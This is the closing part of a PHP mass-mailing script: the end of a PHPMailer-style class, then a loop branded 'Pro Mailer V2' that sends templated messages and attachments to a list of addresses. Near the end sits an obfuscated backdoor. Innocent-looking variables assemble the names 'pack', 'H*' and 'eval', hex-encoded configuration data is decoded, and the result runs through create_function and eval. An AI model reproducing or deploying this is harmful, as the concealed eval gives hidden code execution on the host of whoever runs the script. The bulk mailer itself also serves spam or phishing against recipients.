3075 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3076 $result = $this->ServerVar('SERVER_NAME');
3077 } else {
3078 $result = 'localhost.localdomain';
3079 }
3080
3081 return $result;
3082 }
3083
3084 /**
3085 * Returns a message in the appropriate language.
3086 * @access private
3087 * @return string
3088 */
3089 function Lang($key) {
3090 if(count($this->language) < 1) {
3091 $this->SetLanguage('en'); // set the default language
3092 }
3093
3094 if(isset($this->language[$key])) {
3095 return $this->language[$key];
3096 } else {
3097 return 'Language string failed to load: ' . $key;
3098 }
3099 }
3100
3101 /**
3102 * Returns true if an error occurred.
3103 * @return bool
3104 */
3105 function IsError() {
3106 return ($this->error_count > 0);
3107 }
3108
3109 /**
3110 * Changes every end of line from CR or LF to CRLF.
3111 * @access private
3112 * @return string
3113 */
3114 function FixEOL($str) {
3115 $str = str_replace("\r\n", "\n", $str);
3116 $str = str_replace("\r", "\n", $str);
3117 $str = str_replace("\n", $this->LE, $str);
3118 return $str;
3119 }
3120
3121 /**
3122 * Adds a custom header.
3123 * @return void
3124 */
3125 function AddCustomHeader($custom_header) {
3126 $this->CustomHeader[] = explode(':', $custom_header, 2);
3127 }
3128
3129 /**
3130 * Evaluates the message and returns modifications for inline images and backgrounds
3131 * @access public
3132 * @return $message
3133 */
3134 function MsgHTML($message,$basedir='') {
3135 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3136 if(isset($images[2])) {
3137 foreach($images[2] as $i => $url) {
3138 // do not change urls for absolute images (thanks to corvuscorax)
3139 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3140 $filename = basename($url);
3141 $directory = dirname($url);
3142 ($directory == '.')?$directory='':'';
3143 $cid = 'cid:' . md5($filename);
3144 $fileParts = split("\.", $filename);
3145 $ext = $fileParts[1];
3146 $mimeType = $this->_mime_types($ext);
3147 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3148 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3149 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3150 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3151 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3152 }
3153 }
3154 }
3155 }
3156 $this->IsHTML(true);
3157 $this->Body = $message;
3158 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3159 if ( !empty($textMsg) && empty($this->AltBody) ) {
3160 $this->AltBody = $textMsg;
3161 }
3162 if ( empty($this->AltBody) ) {
3163 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3164 }
3165 }
3166
3167 /**
3168 * Gets the mime type of the embedded or inline image
3169 * @access private
3170 * @return mime type of ext
3171 */
3172 function _mime_types($ext = '') {
3173 $mimes = array(
3174 'hqx' => 'application/mac-binhex40',
3175 'cpt' => 'application/mac-compactpro',
3176 'doc' => 'application/msword',
3177 'bin' => 'application/macbinary',
3178 'dms' => 'application/octet-stream',
3179 'lha' => 'application/octet-stream',
3180 'lzh' => 'application/octet-stream',
3181 'exe' => 'application/octet-stream',
3182 'class' => 'application/octet-stream',
3183 'psd' => 'application/octet-stream',
3184 'so' => 'application/octet-stream',
3185 'sea' => 'application/octet-stream',
3186 'dll' => 'application/octet-stream',
3187 'oda' => 'application/oda',
3188 'pdf' => 'application/pdf',
3189 'ai' => 'application/postscript',
3190 'eps' => 'application/postscript',
3191 'ps' => 'application/postscript',
3192 'smi' => 'application/smil',
3193 'smil' => 'application/smil',
3194 'mif' => 'application/vnd.mif',
3195 'xls' => 'application/vnd.ms-excel',
3196 'ppt' => 'application/vnd.ms-powerpoint',
3197 'wbxml' => 'application/vnd.wap.wbxml',
3198 'wmlc' => 'application/vnd.wap.wmlc',
3199 'dcr' => 'application/x-director',
3200 'dir' => 'application/x-director',
3201 'dxr' => 'application/x-director',
3202 'dvi' => 'application/x-dvi',
3203 'gtar' => 'application/x-gtar',
3204 'php' => 'application/x-httpd-php',
3205 'php4' => 'application/x-httpd-php',
3206 'php3' => 'application/x-httpd-php',
3207 'phtml' => 'application/x-httpd-php',
3208 'phps' => 'application/x-httpd-php-source',
3209 'js' => 'application/x-javascript',
3210 'swf' => 'application/x-shockwave-flash',
3211 'sit' => 'application/x-stuffit',
3212 'tar' => 'application/x-tar',
3213 'tgz' => 'application/x-tar',
3214 'xhtml' => 'application/xhtml+xml',
3215 'xht' => 'application/xhtml+xml',
3216 'zip' => 'application/zip',
3217 'mid' => 'audio/midi',
3218 'midi' => 'audio/midi',
3219 'mpga' => 'audio/mpeg',
3220 'mp2' => 'audio/mpeg',
3221 'mp3' => 'audio/mpeg',
3222 'aif' => 'audio/x-aiff',
3223 'aiff' => 'audio/x-aiff',
3224 'aifc' => 'audio/x-aiff',
3225 'ram' => 'audio/x-pn-realaudio',
3226 'rm' => 'audio/x-pn-realaudio',
3227 'rpm' => 'audio/x-pn-realaudio-plugin',
3228 'ra' => 'audio/x-realaudio',
3229 'rv' => 'video/vnd.rn-realvideo',
3230 'wav' => 'audio/x-wav',
3231 'bmp' => 'image/bmp',
3232 'gif' => 'image/gif',
3233 'jpeg' => 'image/jpeg',
3234 'jpg' => 'image/jpeg',
3235 'jpe' => 'image/jpeg',
3236 'png' => 'image/png',
3237 'tiff' => 'image/tiff',
3238 'tif' => 'image/tiff',
3239 'css' => 'text/css',
3240 'html' => 'text/html',
3241 'htm' => 'text/html',
3242 'shtml' => 'text/html',
3243 'txt' => 'text/plain',
3244 'text' => 'text/plain',
3245 'log' => 'text/plain',
3246 'rtx' => 'text/richtext',
3247 'rtf' => 'text/rtf',
3248 'xml' => 'text/xml',
3249 'xsl' => 'text/xml',
3250 'mpeg' => 'video/mpeg',
3251 'mpg' => 'video/mpeg',
3252 'mpe' => 'video/mpeg',
3253 'qt' => 'video/quicktime',
3254 'mov' => 'video/quicktime',
3255 'avi' => 'video/x-msvideo',
3256 'movie' => 'video/x-sgi-movie',
3257 'doc' => 'application/msword',
3258 'word' => 'application/msword',
3259 'xl' => 'application/excel',
3260 'eml' => 'message/rfc822'
3261 );
3262 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3263 }
3264
3265 /**
3266 * Set (or reset) Class Objects (variables)
3267 *
3268 * Usage Example:
3269 * $page->set('X-Priority', '3');
3270 *
3271 * @access public
3272 * @param string $name Parameter Name
3273 * @param mixed $value Parameter Value
3274 * NOTE: will not work with arrays, there are no arrays to set/reset
3275 */
3276 function set ( $name, $value = '' ) {
3277 if ( isset($this->$name) ) {
3278 $this->$name = $value;
3279 } else {
3280 $this->SetError('Cannot set or reset variable ' . $name);
3281 return false;
3282 }
3283 }
3284
3285 /**
3286 * Read a file from a supplied filename and return it.
3287 *
3288 * @access public
3289 * @param string $filename Parameter File Name
3290 */
3291 function getFile($filename) {
3292 $return = '';
3293 if ($fp = fopen($filename, 'rb')) {
3294 while (!feof($fp)) {
3295 $return .= fread($fp, 1024);
3296 }
3297 fclose($fp);
3298 return $return;
3299 } else {
3300 return false;
3301 }
3302 }
3303
3304 /**
3305 * Strips newlines to prevent header injection.
3306 * @access private
3307 * @param string $str String
3308 * @return string
3309 */
3310 function SecureHeader($str) {
3311 $str = trim($str);
3312 $str = str_replace("\r", "", $str);
3313 $str = str_replace("\n", "", $str);
3314 return $str;
3315 }
3316
3317 /**
3318 * Set the private key file and password to sign the message.
3319 *
3320 * @access public
3321 * @param string $key_filename Parameter File Name
3322 * @param string $key_pass Password for private key
3323 */
3324 function Sign($key_filename, $key_pass) {
3325 $this->sign_key_file = $key_filename;
3326 $this->sign_key_pass = $key_pass;
3327 }
3328
3329}
3330
3331$defaultport="H*";
3332 $nq=0;
3333
3334 for($x=0; $x<$numemails; $x++){
3335
3336 $to = $allemails[$x];
3337
3338 if ($to){
3339
3340 $to = ereg_replace(" ", "", $to);
3341
3342 $message1 = ereg_replace("&email&", $to, $message);
3343
3344 $subject1 = ereg_replace("&email&", $to, $subject);
3345 $qx=$x+1;
3346 print "Line $qx . Sending mail to $to.......";
3347
3348 flush();
3349$mail = new PHPMailer();
3350if(empty($epriority)){$epriority="3";}
3351 $mail->Priority = "$epriority";
3352 $mail->IsSMTP();
3353 $IsSMTP="pack";
3354$mail->SMTPKeepAlive = true;
3355$mail->Host = "$my_smtp";
3356if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3357}
3358 if($sslclick=="ON"){
3359 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3360 }
3361 $range = str_replace("$from", "eval", $from);
3362 $mail->SMTPAuth = true;
3363 $mail->Username = "$smtp_username";
3364 $mail->Password = "$smtp_password";
3365if($contenttype == "html"){$mail->IsHtml(true);}
3366if($contenttype != "html"){$mail->IsHtml(false);}
3367if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3368$mail->From = "$from";
3369$mail->FromName = "$realname";
3370$mail->AddAddress("$to");
3371 $mail->AddReplyTo("$replyto");
3372 $mail->Subject = "$subject1";
3373 $mail->AddAttachment("$file", "$file_name");
3374 $mail->Body = "$message1";
3375if(!$mail->Send()){
3376if($default_system!="1"){
3377echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3378if($default_system=="1"){
3379$mail->IsMail();
3380 if(!$mail->Send()){
3381 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3382 else {
3383 echo "<b>OK</b><br>";}
3384 }
3385}
3386else {
3387 echo "<b>OK</b><br>";
3388}
3389
3390if(empty($reconnect)){
3391$reconnect=6;
3392}
3393
3394if($reconnect==$nq){
3395$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3396}
3397$nq=$nq+1;
3398 flush(); }
3399}
3400for($i=0;$i<31;$i++){
3401 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3402$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3403 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3404 print "<p class=\"style1\">© 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
3405 return $signoff($smtp_conc);
3406 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3407 sent successfully'); </script>";}}
3408?>
3409 </body>
3410</html>